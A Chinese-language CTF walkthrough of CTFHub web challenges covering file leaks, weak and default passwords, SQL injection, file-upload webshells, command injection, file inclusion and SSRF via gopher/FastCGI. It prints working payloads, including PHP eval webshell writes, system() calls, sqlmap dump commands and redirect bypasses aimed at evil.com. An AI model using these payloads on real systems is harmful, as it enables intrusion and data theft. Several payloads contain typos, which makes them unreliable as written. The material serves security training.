目录
信息泄露
目录遍历
遍历每一个文件夹,找到flag.txt,复制内容提交
PHPINFO
打开页面,从信息中寻找flag。
备份文件下载
网站源码
尝试各种组合,最后发现在网站后添加www.zip后成功下载压缩文件
将解压后的文件名放在url后,即可出现flag
bak文件
下载index.php.bak打开即可看到flag
vim缓存
当开发人员在线上环境中使用 vim 编辑器,在使用过程中会留下 vim 编辑器缓存,当vim异常退出时,缓存会一直留在服务器上,引起网站源码泄露。
当你打开一个文件,vi编辑器就会生成这么一个.swp文件防止出现意外情况(类似微软word的缓存文件机制),如果正常退出那么这个swp文件将会自动删除。
当你强行关闭vi或者SSH连接时,比如电源断了或者使用了Ctrl+ZZ,vi自动生成一个.swp文件,下次你再编辑时,就会出现一些提示。
所以在url后面直接添加** .index.php.swp**下载即得flag
.Ds_store
.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。
同上文件形式,直接url后面添加访问** .DS_Store**可下载文件,打开后得到一个文件名,在url访问即可得到flag
Git泄露
Log
首先使用dirsearch扫描网站,可以看到有git泄露
之后使用GitHack下载Git源码
成功后,进入该目录,Git log可以让我们查看提交commit history,后面可以加参数;
使用git log 执行 git log 查看git的历史记录
我门所在的是remove flag
但是我们需要回到add flag
git show
第一种执行 git show
第二种 执行回滚命令 git diff <commit>
第三种 git diff <commit>
Stash
先试用dirsearch扫描网站,发现有git泄露,之后使用GitHack下载Git源码
成功后,进入该目录,Git log可以让我们查看提交commit history,后面可以加参数;
使用git log 执行 git log 查看git的历史记录
git stash # git stash命令会将仓库中的修改保存,建立一条stash信息,默认的说明信息是最后一次提交的节点号和提交说明。
git stash save #‘说明信息’与1的效果一样,说明信息是指定的内容,更加利于了解stash的内容。
git stash list #列出当前仓库下所有的stash条目,每一条stash用stash@{n}标识。
git stash pop [stash] # 将stash的内容弹出,默认弹出最上面的那条,即stash@{0}。此外还可以在pop后加stash@{n}来指定要弹出的stash条目。
git stash drop [stash] #丢弃stash条目,默认丢弃最上面的那条,即stash@{0},此外还可以在drop后加stash@{n}来指定要丢弃的stash条目。
git stash clear #清除所有的stash条目。
git show stash@{n} #当有多条记录并且过了一段时间忘记stash内容时通过该命令可以查看stash的具体内容
发现一个.txt文件,使用cat 查看 即可获得flag
Index
与上面相同
SVN泄露
HG泄露
密码口令
弱口令
对登录界面进行抓包
发送到inteuder
add 可以一个个添加我们想到的密码
进行爆破
破解结果为123456
登录后出现flag
默认口令
网上查找该产品的默认用户名和密码
(admin:+-ccccc、eyougw:admin@(eyou)、eyouuser:eyou_admin
eyougw admin@(eyou)可登录
SQL注入
整型注入
输入1,回显位置有两个,可以猜测有两行
1 order by 2
1order by 3
可以确定为两行
数据库,用户名
表名
字段名
字段值
字符型注入
输入?id=1
回显位置有两个且有单引号
输入id=1' order by 2 -- '
表名
字段名
字段值
报错注入
由此可知这是只有逻辑上的正确与错误回显,所以我们可以考虑用布尔盲注或者报错注入
库名
1 and updatexml(1,concat(0x7e,database()),1)
表名
字段名
字段值
布尔盲注
我们得知题目只会回显给我们逻辑的正确与否,所以我们只能采用布尔注入
1 and (substr(database(),1,1))=‘s’
使用burpsuite爆破 可知数据库的名字为sqli
表名
1 and (substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))=‘s’
得出表名为flag,news
字段名
得出字段名为flag
字段值
字段值
1 and (substr((select flag from flag),1,1))='s'
得出flag为:ctfhub{13a00462bef7c8ec8727a7e9}
时间盲注
根据页面的响应时间,从而来判断逻辑的正确与否
?id=1 and if(substr(database(),1,1)=‘s’,sleep(3),1)
使用sqlmap工具,得到库名为sqli
sqlmap -u url --current-db
接着我们爆破数据库中的表:sqlmap -u "http://challenge-459abc4659097df3.sandbox.ctfhub.com:10080/?id=1”-D sqli --tables
我们查看flag这个表里面的列:sqlmap -u "http://challenge-459abc4659097df3.sandbox.ctfhub.com:10080/?id=1"-D sqli -T flag --columns
得到flag这个列,查看这个列里面的字段:sqlmap -u "http://challenge-459abc4659097df3.sandbox.ctfhub.com:10080/?id=1"-D sqli -T flag -c flag --dump
MySQL结构
爆破当前数据库:sqlmap -u http://challenge-ef15841e727cb228.sandbox.ctfhub.com:10800/?id=1 --current-db
得到数据库
爆破当前数据库的表名:sqlmap -u "http://challenge-ef15841e727cb228.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables
这里和之前不一样了,没有类似的flag的表名,但是有一个zejnyorjgd这个没见过的,爆破这个表名的列试试:sqlmap -u http://challenge-ef15841e727cb228.sandbox.ctfhub.com:10800/?id=1 -D sqli -T zejnyorjgd--columns
接着我们爆破里面的字段 sqlmap -u http://challenge-ef15841e727cb228.sandbox.ctfhub.com:10800/?id=1 -D sqli -T zejnyorjgd -C qkjycadcdt --dump
Cookie注入
查看该页面Cookie
该页面的Cookie为id=1
查看是否为Cookie注入
burp进行抓包注入
判断列数
?id1order by 2
?id=1 order by 3
可以看到列数为2的时候回显正常,因此判断列数为2
爆数据库
id=5 union select 1,database()
爆数据表
id=13 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli';
可以看到得到两张表名:tozadxilid,news
让我们进入这个莫名其妙的表看看tozadxilid
爆列名
id=13 union select 1,group_concat(column_name) from information_schema.columns where table_name='tozadxilid'
得到一个列名kmpcnsijwa
爆字段
id=13 union select 1,kmpcnsijwa from tozadxilid
UA注入
UA其实就是User-Agent,里面有你电脑系统、浏览器的一些信息
直接抓包在UA处注入即可
成功查询到一个叫sqli的数据库,或者用下面的命令查询所有的数据库
id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
查询出两个表wtpygmroqd,news
用wtpygmroqd查询字段内容
ljnfuodbzc
查找到flag
Refer注入
Reffer是HTTP请求header的一部分,当浏览器向web 服务器发送请求的时候,头信息里就有包含,比如在www.Firefox.com 里有一个www.baidu.com链接,那么点击这个链接 ,它的header信息里就会看见有:referer=http://www.Firefox.com,说明是被引用过来的
我们抓住了这个刷新的页面,但是并没有找到referer,和referer的内容,原因是我们通过url直接访问图片等等资源的时候,并不会出现referer,所有我们可以通过Hackbar,创造一个post请求
再次重放
找到了referer和后面的URL,根据题目要求,我们尝试在referer后面进行SQL注入
暴库
爆表
得到两个表名:xrsdalxolq,news
爆字段
ycvtlzbyhg
查看flag
过滤空格
用/**/代替空格
id=1/**/and/**/1=2/**/union/**/select/**/1,database()/**/
-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information__schema.tables/**/where/**/table_schema='sqli'
得到表名:news,trvwagicyo
-1/**/union/**/select/**/1,grooup_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='trvwagicyo'
爆表
得到表名oxlurazbny
查询对应列名的值 得到flag
-1/**/union/**/select/**/1,group_concat(oxlurazbny)/**/from/**/trvwagicyo
XSS
反射型
在第一个输入框中尝试输入<scripy>alert(1)</script>
第二个输入框输入url是,出现successfully
在xss测试平台创建一个项目
选择,默认模块
然后会出现找个将代码复制
拼接到网站后缀name后面,点击send
这时平台会收到一个记录点开即可
文件上传
无验证
上传一句话木马
连接蚁剑
找到flag
前端验证
查看源码 发现只能上传jpg和png
我们上传.jpg文件
进行抓包 在burpsuite中将后缀修改为php后放包,连接蚁剑
.htaccess
在这里的作用是让别的文件以php的方式运行,这个题中f12可以看到代码过滤了很多的文件后缀名,所以我们的思路是以jpg的格式上传,之后上传htaccess文件,就可以让jpg的文件以php的方式运行
不同于前端认证,这是服务器代码的过滤,无法抓包修改后缀名达到效果
1、上传jpg格式的一句话木马
2、上传.htaccess文件
3、蚁剑连接
.htaccess文件中SetHandler application/x-httpd-php
MIME绕过
MIME类型校验就是我们在上传文件到服务端的时候,服务端会对客户端也就是我们上传的文件的Content-Type类型进行检测,如果是白名单所允许的,则可以正常上传,否则上传失败。
其实就是在请求包中的content-type,这道题我们只需要在包中改变content-type的类型就可以了
2、具体过程
1、抓包 将content-type改为image/jpeg
00截断
查看网页源代码
发现只可以上传jpg png gif文件
我们在上传php是利用burpsuite抓包 在php后边加%00.jpg
达到上传php的目的
连接蚁剑 成功 在连接蚁剑是 输入的URL还得用以前的 不能用这一关的
双写后缀
题目提示双写绕过,首先我们上传一个一句话:
发现后缀被过滤掉了,构造双写的后缀:
1.php 修改为1.pphphp
头文件检测
在小马前添加文件头
bp抓包,Content-Type类型修改为image/gif
蚁剑连接 成功
RCE
eval执行
分析源码,直接在URL中?cmd=system('ls /');
获得flag文件名
然后?cmd=system('cat flag');
文件包含
根据页面的源码,知道可以GET方式传入一个file参数,传入的file将会被inlcude包含,因此被包含文件中的命令也会被当做PHP指令执行。
点击页面上的shell,可以看到shell.txt的内容:
可知,题目已经提供了一句话木马,所以我们的目标就是在index页面包含shell.txt,然后将ctfhub参数传入,以执行我们想要执行的命令,这里还需要注意,传入的命令中不能包含flag字符串,这里可以使用通配符来绕过。payload:
CTFHub 环境实例 | 提示信息http://challenge-ba3b6d8c6de29fd0.sandbox.ctfhub.com:10800/?file=shell.txt
php://intput
查看网页显示的源码
我们需要使用php://input来构造发送的指令
查看phpinfo,找到一下字段
证明是可以使用php://input
使用Burpsuite抓包并转至Repeater
构造包
方法:POST
目标:/?file=php://input
Body:<?php system("ls /"); ?>
使用cat访问flag_xxxx即可得到FLAG
读取源代码
题目中直接给了flag的位置
想到使用filter(PHP 过滤器用于对来自非安全来源的数据(比如用户输入)进行验证和过滤。我也不是很清楚这个,但是用法还是蛮明了的)
直接在连接后添加对应内容即可的flag(就是filter的用法)
?file=php://filter/resource=/flag
远程包含
查看PHPinfo文件,发现可以使用php://input
构造payload,使用php://input
POST里传参:<?php system('ls /')?>
发现存放flag的文件
打开文件,获得falg
命令注入
查看页面信息
构造playload 127.0.0.1&ls
查看文件内容信息
127.0.0.1 & cat 179852221619745.php
没有反应
写入一句话木马
127.0.0.1 &echo "<?php @eval(\$_POST['a']);?>" >> shell.php】
使用蚁剑连接
成功拿到flag
过滤cat
构造playload
127.0.0.1 || ls
由于cat被过滤 植入一句话木马
127.0.0.1 &echo "<?php @eval(\$_POST['a']);?>" >> shell.php
连接蚁剑
得到flag
过滤空格
空格被过滤 我们可以
用<代替空格
127.0.0.1||cat< flag
查看源码
获得flag
过滤目录分隔符
127.0.0.1&ls
查看当前目录结构
flag需要跳转到子文件夹里
而目录分隔符斜杠被过滤了
因此我们使用cd进入子文件夹,而不是直接cat访问
输入127.0.0.1;cd flag_is_here;ls
进入子文件夹并查询,使用分号间隔
127.0.0.1;cd flag_is_here;cat flag_xxx.php
访问得到FLAG,位于注释里
过滤运算符
过滤掉了|| &
使用;
127.0.0.1;cat flag_xxx
在源码中查看flag
综合过滤练习
这里我们可以利用url地址栏来构造payload。
%0a 是 换行符
%09 是 TAB键
于是构造payload:
127.0.0.1%0als
127.0.0.1%0als%09*
tab键可以自动补齐后面的内容ls%09*可查看所有的文件
flag_101563074313826.php
127.0.0.1%0acd%09*here%0aca''t%09*.php
cat被过滤了,所以用ca’'t来代替
ssrf
内网访问
打开题目之后可以看到网址上的url=_
于是我们构造如下url即可得到flag
ctfhub{53bb23a99d79199870e22904}
伪协议读取文件
url中伪协议的类型
file:///
dict://
sftp://
ldap://
tftp://
gopher://
具体作用:伪协议
这里我们用file进行读取flag.php即可得到
?url=file:///var/www/html/flag.php
查看源码
端口扫描
利用伪协议dict和bp对8000-9000端口进行爆破
POST请求
POST请求
我们访问 127.0.0.1/flag.php 会得到一个输入框
查看源码会得到一个key值 输入输入框:
使用脚本
import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=7a63523334ee824db18990ffc181d204
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 这里因为是GET请求所以要进行两次url编码
上传文件
写一个上传按钮
<input name="submit" type="submit">
当场抓到包
但是他是需要从本地发起的上传才可以
直接将包放到之前的py脚本中
FASTCGI协议
我们使用gopherus工具
需要注意的是进行编码时要去掉没有用的空格或者换行,否则将无法成功获得flag
?url=
gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520%2Ff%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
提交,成功获得flag
Redis协议
我们将生成的payload再次编码
访问,虽然页面显示504,但是我们的shell.php已经写入了。
访问shell.php,虽然有一些脏数据,但页面已经存在了
使用蚁剑连接 在根目录可以看到flag
URL Bypass
绕过的姿势:
1. 单斜线"/"绕过
https://www.landgrey.me/redirect.php?url=/www.evil.com
2. 缺少协议绕过
https://www.landgrey.me/redirect.php?url=//www.evil.com
3. 多斜线"/"前缀绕过
https://www.landgrey.me/redirect.php?url=///www.evil.com
https://www.landgrey.me/redirect.php?url=www.evil.com
4. 利用"@"符号绕过
https://www.landgrey.me/redirect.php?url=https://www.landgrey.me@www.evil.com
比如姿势4中,http://www.landgrey.me和http://www.evil.com 这两个URL都会访问到。
题目描述是必须以http ://http://notfound.ctfhub.com 开头
挨个试下几个姿势从本地访问flag.php
最后拿到flag
url=http://notfound.ctfhub.com@127.0.0.1/flag.php
数字IP Bypass
ban掉了127以及172
输入:?url=127.0.0.1/flag.php
那就localhost代替127
302跳转 Bypass
用?url=localhost/flag.php
DNS 重绑定 Bypass
题目要求以DNS重绑定
的方式绕过。
通过rbndr.us dns rebinding service网站设置DNS: